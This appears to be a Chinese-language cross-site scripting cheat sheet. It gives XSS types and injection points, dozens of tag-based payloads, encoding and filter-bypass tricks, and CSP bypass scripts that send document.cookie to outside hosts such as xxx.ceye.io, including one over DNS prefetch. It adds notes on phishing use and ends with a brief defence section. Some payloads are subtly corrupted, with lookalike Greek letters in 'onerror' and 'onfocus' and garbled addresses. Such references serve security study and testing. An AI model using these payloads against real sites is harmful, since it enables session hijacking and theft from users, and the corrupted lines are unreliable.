xss 漏洞
1、XSS类型
XSS攻击大致上分为3类:
反射型xss,DOM型xss,存储型xss。前两类为非持久性xss,后者为持久型xss。
1.1 非持久型xss:
1)反射型 XSS
攻击相对于访问者而言是一次性的,具体表现在恶意脚传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。也就是说想要触发漏洞,需要访问特定的链接才能够实现。
2)DOM 型 XSS
是基于文档对象模型 Document Objeet Model,DOM)的一种漏洞。DOM 是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
DOM 中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer 等。客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得 DOM 中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生 DOM XSS 漏洞。DOM 型 XSS 不会把恶意代码传给服务器,因此只会对受害者产生一次性的攻击。
1.2 持久型xss:
1)储存型 XSS
与反射型XSS最大的不同就是服务器再接收到恶意脚本时会储存到数据库中,再次访问相同页面时,服务器将恶意脚本从数据库中取出并返回给浏览器执行。因此只要访问了这个页面的访客,都有可能会执行这段恶意脚本,所以储存型XSS的危害会更大。
2)带外型 XSS
指将 payload 注入某个站点中,但显示在一个无关的网站或应用程序中,是持久的,也是有状态的。当浏览器不是应用程序的主要组成部分时,也会出现带外型 XSS 攻击。例如:B 网站可能要从受信任网站 A 读取数据,而 A 遭到了 XSS 攻击,使得数据被污染,从而影响 B 网站。
2、XSS注入点
任何来自浏览器的数据包都可能会被攻击者修改,当 web 应用程序使用了一些来自用户的信息,这些位置会是一个潜在的注入点。最直观的便是用户输入的内容被原封不动地显示到了网页上。
注入点 | 说明 |
URI的位置 | Web 服务器会对URI中的目录名、文件名、参数、参数值进行解析,而URI中的参数能够包含 XSS payload。 |
表单字段 | 最明显的是希望用户填写的字段,如登录名、email 等,不明显的是不希望用户修改的字段,如在 DOM 元素中带有hidden、disable属性的输入字段。 |
HTTP 请求头及 Cookie | 最常见的注入攻击标头为User-Agent和Refer,自定义标头通过X-标识。Cookie是 HTTP 标头特例,大部分网站用Cookie存储与用户相关的数据、应用程序状态及其他跟踪信息。 |
JSON | 站点可以使用JSON获取消息或通讯录,其他网站可以使用 JSON 向数据库收发命令和数据。JSON站点的最好方法是依赖JavaScript开发框架。 |
DOM属性 | 即DOM-Based XSS,属性包含用于请求页面的 URI,攻击者只需将其构造成恶意 URI,攻击就会在浏览器发生。 |
CSS | CSS 中能够引入恶意链接。 |
用户生成的内容 | 用户能够上传类似图片、视频、PDF 文件等二进制内容,其中可能会带有嵌入的JavaScript,或将要在浏览器内执行其他代码。 |
标签 、属性
|
payload
|
<script>
|
<SCRIPT SRC=http://xxx.com/XSS/xss.js></SCRIPT>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>document.write(1)</script>
<script>window.open(1)</script>
|
<img>
|
<IMG SRC=http://xxx.com/XSS/xss.js>
|
<img Dynsrc=>
|
<IMG DYNSRC="javascript:alert('XSS')">
|
<img Lowsrc=>
|
<IMG LOWSRC="javascript:alert('XSS')">
|
<img VBscript=>
|
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
|
<img style=>
|
<IMG STYLE="xss:expression_r(alert('XSS'))">
|
<a>
|
<a href="javascript:alert('xss')">
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>
|
<textarea>
|
<textarea οnfοcus=alert("xss"); autofocus>
|
<keygen>仅限火狐
|
<keygen autofocus οnfοcus=alert(1)>
|
<form>
|
<form action="Javascript:alert(1)"><input type=submit>
|
<marquee>Chrome不行,火狐和IE都可以
|
<marquee onstart=alert("xss")></marquee>
|
<isindex>仅限于IE
|
<isindex type=image src=1 οnerrοr=alert("xss")>
|
<input>
|
<input οnfοcus="alert('xss');">
|
<details>
|
<details οntοggle="alert('xss');">
|
<svg>
|
<svg οnlοad=alert("xss");>
|
<select>
|
<select οnfοcus=alert(1)></select>
|
<video>
|
<video><source οnerrοr="alert(1)">
|
<audio>
|
<audio src=x οnerrοr=alert("xss");>
|
Input Image
|
<INPUT SRC="javascript:alert('XSS');">
|
<body> image
|
<BODY BACKGROUND="javascript:alert('XSS')">
|
<body>
|
<BODY('XSS')>
<body/οnlοad=alert("xss");>
|
<bgsound>
|
<BGSOUND SRC="javascript:alert('XSS');">
|
<link> STYLE sheet
|
<LINK REL="stylesheet" HREF="http://xxx.com/XSS/xss.css">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
|
List-style-image(列表式)
|
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
|
<meta>链接url
|
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
|
<iframe>
|
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
<frame>
|
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
|
<table background=>
|
<TABLE BACKGROUND="javascript:alert('XSS')">
|
<td background=>
|
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
|
<div> style background-image
|
<div style="background-image: url(javascript:alert('XSS'))">
|
<div> style width
|
<div style="width: expression(alert('XSS'));">
|
<div> expression
|
<DIV STYLE="width: expression_r(alert('XSS'));">
|
<base>
|
<BASE HREF="javascript:alert('XSS');//">
|
<style> background-image
|
<STYLE>.XSS{background-image:none");}</STYLE><A class="XSS"></A>
|
<style> background
|
<STYLE><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
|
匿名 style (组成:开角号和一个字母开头)
|
<XSS STYLE="xss:expression_r(alert('XSS'))">
|
<embed> 可以嵌入FLASH,其中包涵XSS
|
<EMBED SRC="http://xxx.com/XSS/xss.swf" ></EMBED>
|
<object>
|
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
|
绕过
|
payload
|
url编码绕过
|
<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
|
宽字节xss绕过
|
当网站设置了GB2312 GBK GB18030、BIGS , Shift JIS 等宽字节编码,可以尝试宽字节绕过 黑名单+强制转换格式十 多重嵌套过滤手段。
|
Unicode编码绕过
|
<img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
<img src="x" οnerrοr="alert("xss");">
|
Ascii码绕过
|
<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
|
base64绕过
|
<img src="x" οnerrοr="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
|
url编码
|
<img src="x" οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
|
实体编码绕过
|
<img src="x" οnerrοr="alert(1)">
= <img src="x" οnerrοr="alert(1)">
|
中标点符号代替英文标点符号
|
<img src="x" οnerrοr="document.location=`http://www。baidu。com`">//会自动跳转到百度
|
无分号无引号
|
<IMG SRC=javascript:alert('XSS')>
|
大小写不敏感
|
<IMG SRC=JaVaScRiPt:alert('XSS0')>
|
双写关键字绕过替换为空
|
<imimgg srsrcc=x οnerrοr=alert("xss");>
|
eval字符拼接
|
<img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
|
利用top
|
<script>top["al"+"ert"](`xss`);</script>
|
HTML编码(必须有分号)
|
<IMG SRC=javascript:alert('XSS')>
|
修正缺陷标签
|
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
|
formCharCode
|
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
十六进制编码(无分号)
|
<IMG SRC=java……XSS')>
|
嵌入式标签,将Javascript分开
|
<IMG SRC="jav ascript:alert('XSS');">
|
嵌入式编码标签,将Javascript分开
|
<IMG SRC="jav ascript:alert('XSS');">
|
嵌入式换行符
|
<IMG SRC="jav ascript:alert('XSS');">
|
嵌入式回车
|
<IMG SRC="jav ascript:alert('XSS');">
|
嵌入式多行注入JavaScript,这是XSS极端的例子
|
<IMG SRC="javascript:alert('XSS')">
|
解决限制字符(要求同页面)
|
<script>z='
document.'</script>
<script>z=z+'
write("'</script>
<script>z=z+'
<script'</script>
<script>z=z+'
src=ht'</script>
<script>z=z+'
tp://ww'</script>
<script>z=z+'
w.shell'</script>
<script>z=z+'
.net/1.'</script>
<script>z=z+'
js></sc'</script>
<script>z=z+'
ript>")'</script>
<script>
eval_r(z)</script>
|
Spaces和meta前的IMG标签
|
<IMG SRC=" javascript:alert('XSS');">
|
双开括号
|
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
半开的HTML/JavaScript XSS
|
<IMG SRC="javascript:alert('XSS')"
|
双开角括号
|
<iframe src=http://3w.org/XSS.html<
|
无单引号 双引号 分号
|
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
|
在flash中使用ActionScrpt可以混合XSS的代码
|
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval_r(a+b+c+d);
XML namespace.HTC
|
在图片里添加JS代码
|
<SCRIPT SRC=""></SCRIPT>
|
IMG嵌入式命令,可执行任意命令
|
<IMG SRC="
http://www.XXX.com/a.php?a=b">
|
IMG嵌入式命令(a.jpg在同服务器)
|
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
|
绕符号过滤
|
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");
</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
|
IP十进制
|
<A HREF="
http://3232235521">XSS</A>
|
IP十六进制
|
<A HREF="
http://0xc0.0xa8.0×00.0×01">XSS</A>
|
IP八进制
|
<A HREF="
http://0300.0250.0000.0001">XSS</A>
|
混合编码
|
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
|
节省[http:]
|
<A HREF="//
www.google.com/">XSS</A>
|
节省[www]
|
<A HREF="
http://google.com/">XSS</A>
|
绝对点绝对DNS
|
<A HREF="
http://www.google.com./">XSS</A>
|
javascript链接
|
<A HREF="javascript:document.location='
http://www.google.com/'">XSS</A>
|
4.2 触发HTML事件
Mouse 事件
|
描述
|
onclick
|
元素上发生鼠标点击时触发。
|
ondblclick
|
元素上发生鼠标双击时触发。
|
ondrag
|
元素被拖动时运行的脚本。
|
ondragend
|
在拖动操作末端运行的脚本。
|
ondragenter
|
当元素元素已被拖动到有效拖放区域时运行的脚本。
|
ondragleave
|
当元素离开有效拖放目标时运行的脚本。
|
ondragover
|
当元素在有效拖放目标上正在被拖动时运行的脚本。
|
ondragstart
|
在拖动操作开端运行的脚本。
|
ondrop
|
当被拖元素正在被拖放时运行的脚本。
|
onmousedown
|
当元素上按下鼠标按钮时触发。
|
onmousemove
|
当鼠标指针移动到元素上时触发。
|
onmouseout
|
当鼠标指针移出元素时触发。
|
onmouseover
|
当鼠标指针移动到元素上时触发。
|
onmouseup
|
当在元素上释放鼠标按钮时触发。
|
onmousewheel
|
当鼠标滚轮正在被滚动时运行的脚本。
|
onscroll
|
当元素滚动条被滚动时运行的脚本。
|
Keyboard 事件
|
描述
|
onkeydown
|
在用户按下按键时触发。
|
onkeypress
|
在用户敲击按钮时触发。
|
onkeyup
|
当用户释放按键时触发。
|
Window 事件属性
|
描述
|
onafterprint
|
文档打印之后运行的脚本。
|
onbeforeprint
|
文档打印之前运行的脚本。
|
onbeforeunload
|
文档卸载之前运行的脚本。
|
onerror
|
在错误发生时运行的脚本。
|
onhaschange
|
当文档已改变时运行的脚本。
|
onload
|
页面结束加载之后触发。
|
onmessage
|
在消息被触发时运行的脚本。
|
onoffline
|
当文档离线时运行的脚本。
|
ononline
|
当文档上线时运行的脚本。
|
onpagehide
|
当窗口隐藏时运行的脚本。
|
onpageshow
|
当窗口成为可见时运行的脚本。
|
onpopstate
|
当窗口历史记录改变时运行的脚本。
|
onredo
|
当文档执行撤销(redo)时运行的脚本。
|
onresize
|
当浏览器窗口被调整大小时触发。
|
onstorage
|
在 Web Storage 区域更新后运行的脚本。
|
onundo
|
在文档执行 undo 时运行的脚本。
|
Form 事件
|
描述
|
onblur
|
元素失去焦点时运行的脚本。
|
onchange
|
在元素值被改变时运行的脚本。
|
oncontextmenu
|
当上下文菜单被触发时运行的脚本。
|
onfocus
|
当元素获得焦点时运行的脚本。
|
onformchange
|
在表单改变时运行的脚本。
|
onforminput
|
当表单获得用户输入时运行的脚本。
|
oninput
|
当元素获得用户输入时运行的脚本。
|
oninvalid
|
当元素无效时运行的脚本。
|
onreset
|
当表单中的重置按钮被点击时触发。HTML5 中不支持。
|
onselect
|
在元素中文本被选中后触发。
|
onsubmit
|
在提交表单时触发。
|
Media 事件
|
描述
|
onabort
|
在退出时运行的脚本。
|
oncanplay
|
当文件就绪可以开始播放时运行的脚本(缓冲已足够开始时)。
|
oncanplaythrough
|
当媒介能够无需因缓冲而停止即可播放至结尾时运行的脚本。
|
ondurationchange
|
当媒介长度改变时运行的脚本。
|
onemptied
|
当发生故障并且文件突然不可用时运行的脚本(比如连接意外断开时)。
|
onended
|
当媒介已到达结尾时运行的脚本(可发送类似“感谢观看”之类的消息)。
|
onerror
|
当在文件加载期间发生错误时运行的脚本。
|
onloadeddata
|
当媒介数据已加载时运行的脚本。
|
onloadedmetadata
|
当元数据(比如分辨率和时长)被加载时运行的脚本。
|
onloadstart
|
在文件开始加载且未实际加载任何数据前运行的脚本。
|
onpause
|
当媒介被用户或程序暂停时运行的脚本。
|
onplay
|
当媒介已就绪可以开始播放时运行的脚本。
|
onplaying
|
当媒介已开始播放时运行的脚本。
|
onprogress
|
当浏览器正在获取媒介数据时运行的脚本。
|
onratechange
|
每当回放速率改变时运行的脚本(比如当用户切换到慢动作或快进模式)。
|
onreadystatechange
|
每当就绪状态改变时运行的脚本(就绪状态监测媒介数据的状态)。
|
onseeked
|
当 seeking 属性设置为 false(指示定位已结束)时运行的脚本。
|
onseeking
|
当 seeking 属性设置为 true(指示定位是活动的)时运行的脚本。
|
onstalled
|
在浏览器不论何种原因未能取回媒介数据时运行的脚本。
|
onsuspend
|
在媒介数据完全加载之前不论何种原因终止取回媒介数据时运行的脚本。
|
ontimeupdate
|
当播放位置改变时(比如当用户快进到媒介中一个不同的位置时)运行的脚本。
|
onvolumechange
|
每当音量改变时(包括将音量设置为静音)时运行的脚本。
|
onwaiting
|
当媒介已停止播放但打算继续播放时(比如当媒介暂停已缓冲更多数据)运行脚本
|
4.3 CSP
Content Security Policy的实质是白名单机制,浏览器的扩展程序系统引入了内容安全策略,对网站加载或执行的资源进行安全策略的控制。
4.3.1 启用CSP的两种方式
1) HTTP 头添加Content-Security-Policy字段
Content-Security-Policy: default-src 'self' *.trusted.com # 配置好并启用后,不符合 CSP 的外部资源就会被阻止加载
Content-Security-Policy-Report-Only: default-src 'self' *.trusted.com # 表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用
2)网页<meta>标签内容设置
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<meta http-equiv="content-security-policy-report-only" content="script-src 'self'">
4.3.2 CSP策略的设置
CSP策略
|
示例
|
说明
|
default-src
|
'self' cdn.guangzhul.com
|
默认加载策略
|
script-src
|
'self' js.guangzhul.com
|
对 JavaScript 的加载策略。
|
style-src
|
'self' css.guangzhul.com
|
对样式的加载策略。
|
img-src
|
'self' img.guangzhul.com
|
对图片的加载策略。
|
connect-src
|
'self'
|
对 Ajax、WebSocket 等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为 400 的响应。
|
font-src
|
font.cdn.guangzhul.com
|
针对 WebFont 的加载策略。
|
object-src
|
'self'
|
针对 、 或 等标签引入的 flash 等插件的加载策略。
|
media-src
|
media.cdn.guangzhul.com
|
针对媒体引入的 HTML 多媒体的加载策略。
|
frame-src
|
'self'
|
针对 frame 的加载策略。
|
child-src
|
Content-Security-Policy: child-src https://example.com/
|
指定定义了 web workers 以及嵌套的浏览上下文(如frame和iframe)的源
|
manifest-src
|
限制了从应用清单可以加载的url
| |
report-uri
|
/report-uri
|
告诉浏览器如果请求的资源不被策略允许时,往哪个地址提交日志信息。 特别的:如果想让浏览器只汇报日志,不阻止任何内容,可以改用 Content-Security-Policy-Report-Only 头。
|
sandbox
|
设置沙盒环境
| |
child-src
|
|
主要防御 <frame>,<iframe>
|
form-action
|
|
主要防御 <form>
|
frame-ancestors
|
|
主要防御 <frame>,<iframe>,<object>,<embed>,<applet>
|
plugin-types
|
|
主要防御 <object>,<embed>,<applet>
|
策略值
|
示例
|
说明
|
*
|
img-src *
|
允许任何内容。
|
'none'
|
img-src 'none'
|
不允许任何内容。
|
'self'
|
img-src 'self'
|
允许来自相同来源的内容(相同的协议、域名和端口)
|
data:
|
img-src data:
|
允许 data: 协议(如 base64 编码的图片)
|
www.xxx.com
|
img-src img.xxx.com
|
允许加载指定域名的资源。
|
*.www.xxx.com
|
img-src *.xxx.com
|
允许加载 xxx.com 任何子域的资源。
|
'unsafe-inline'
|
script-src 'unsafe-inline'
|
允许加载 inline 资源(例如常见的 style 属性,onclick,inline js 和 inline css 等等)
|
'unsafe-eval'
|
script-src 'unsafe-eval'
|
允许加载动态 js 代码,例如 eval()
|
4.3.3 策略绕过
1)default-src 'none' 绕过:使用meta标签实现跳转
<meta http-equiv="refresh" content="1;
url=https://www.mi1k7ea.com/x.php?c=[cookie]" >
2)default-src 'self' 绕过:iframe引入外部js,将src设置为同域的,从而绕过CSP
xss=f=document.createElement(%22iframe%22);
f.id=%22pwn%22;
f.src=%22./test.txt%22;
f.onload=()=%3E{
x=document.createElement(%27script%27);
x.src=%27//192.168.17.148:81/c.js%27;
pwn.contentWindow.document.body.appendChild(x)};
document.body.appendChild(f);
3)script-src 'unsafe-inline' 绕过
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过
4)xx-src * 绕过
*没有对url源进行任何控制,如:frame-src *,通过iframe标签来内联来包含别的页面
5)xx-src self 绕过:link标签的预加载功能可以进行绕过(最新版Chrome会禁止cookie发送)
<link rel="prefetch" href="https://www.xxx.com/c.php?c=[cookie]">
<link rel="dns-prefetch" href="//[cookie].mi1k7ea.com">
6)script 'nonce-xxx' 绕过:利用浏览器补全绕过
7)包含 script-src 'unsafe-eva' 或 script-src 'strict-dynamic',且使用了Jquery-mobile库
绕过:重用Gadgets代码来绕过CSP
<div data-role=popup id='<script>alert(1)</script>'></div>
amp库绕过:
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
8)同源策略
若页面 A 中有 CSP 限制,但页面B中没有,同时 A 和 B 同源,就可以利用 <iframe> 在 A 页面中包含B页面来绕过 CSP
<iframe src="B"></iframe>
9)js xss filter 绕过
在 Chrome下,iframe 标签支持 csp 属性,这有时候可以用来绕过一些防御,例如 http://xxx 页面有个 js 库会过滤 XSS 向量,可以使用 csp 属性来禁掉这个js库
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
10)sandbox 绕过
情形一:未开启X-Frame-Options:DENY
当CSP设置为allow-popups开启时,window.open等就可以打开新的窗口:
?xss=window.open('//xxx.ceye.io/?'+escape(document.cookie))
?xss=window.location.href='http://xxx.ceye.io/?cookie='+document.cookie
// DNS通道来传递cookie,payload:
dc=document.cookie;dcl=dc.split(";");
m=document.getElementsByTagName("HEAD")[0];
for (var i=0;i<dcl.length;i++){
console.log(dcl[i]);
m.innerHTML=m.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".xxx.ceye.io\">";
console.log(m.innerHTML);}
情形二:开启了 X-Frame-Options:DENY
header 中添加了 X-Frame-Options:DENY,则不能如此直接地利用如上的 exp。许多资源只为含有 200 代码的响应提供了 X-Frame-Options 头部,而没有为包含 400、404 代码的响应提供相应的头部。通过在 400、404 这些错误页面插入 payload 也可以读取到正常返回页面的一些数据。
* 访问不存在或不被允许访问的页面导致错误,payload:
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
frame.id="pwn";
frame.onload=()=>{
x=document.createElement('script');
x.src='data:,alert("Pwned "+top.secret.textContent)';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);
* 超长 URL 导致 web 服务器返回错误页面。像 NGINX 和 Apache 等 Web 服务器的默认 URL 长度通常被设置为不超过 8kB,payload:
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);frame.id="pwn";
frame.onload=()=>{
x=document.createElement('script');
x.src='data:,alert("Pwned"+top.secret.textContent)';
pwn.contentWindow.document.body.appendChild(x)};
document.body.appendChild(frame);
* 触发 cookie 长度限制导致服务器返回错误页面。
生成超长 cookie:
for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};
js 脚本写入 frame 中,用以窃取其父 frame 中的信息,payload:
for(var i=0;i<5;i++){
document.cookie=i+"="+"a".repeat(4000)};
f=document.createElement("iframe");
f.id="pwn";
f.src="/";
f.onload=()=>{
for(var i=0;i<5;i++){
document.cookie=i+"="};
x=document.createElement('script');
x.src='data:,alert("Pwned"+top.secret.textContent)';
pwn.contentWindow.document.body.appendChild(x)};
document.body.appendChild(f);
11)CSP nonce 绕过:meta可以控制缓存(在header没有设置的情况下)
<meta http-equiv="cache-control" content="public">
12)上传 wave 文件绕过csp
能够进行文件上传时,通常会有 MIME 文件类型的检测,但 wave 在 MIME 转换的名单之外,因此在上传成功 wave 文件时,其 MIME-TYPE 并不会与 src 冲突。在以十六进制形式打开的 wave文件的 description 内容中加入如下 payload,再进行上传:
aaaaaaaaaaaaaaa/*bbbbbbbbbbbbbbbbbbb*/='test';window.open('http://www.xxx.com/?'+document.cookie);
5、xss漏洞利用
反射:直接发送包含恶意链接的载体(邮件、其他在线媒体)给用户,钓鱼
克隆验证页面
trusted
ReelPhish绕过双因素实时校验,使用selenium、chrome触发(限制:网站限制自动化工具)
物理访问攻击
bash bunny:网络劫持,小型Linux终端
wifi pineapple nano:伪基站类似
xss8.cc:漏洞
6、xss防御
1)实体编码显示的字符
对字符串类型的输入输出进行检测,使用 HTML 实体引用对输出数据进行编码
实体编码 | 显示的字符 |
&lgt; | < |
> | > |
& | & |
" | “ |
2)对输入的数据进行过滤,将 html 标签、属性与事件进行删除
3)统一设置静态字符集
网站中将要显示动态内容的页面需设置明确的字符集,可以通过 Content-Type 标头或使用 HTML META 元素来实现,HTML5 中默认的字符编码是 UTF-8,可以防御宽字节 xss。
4)服务器端设置 HttpOnly
服务器可能会设置多个 Cookie(多个key-value对),而 HttpOnly 可以有选择性地加在任何一个Cookie 值上,之后在 http 头的 Cookie 字段会显示 HttpOnly。
<?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly", false);
?>
5)对上传文件的MIME类型检测白名单/黑名单补充完整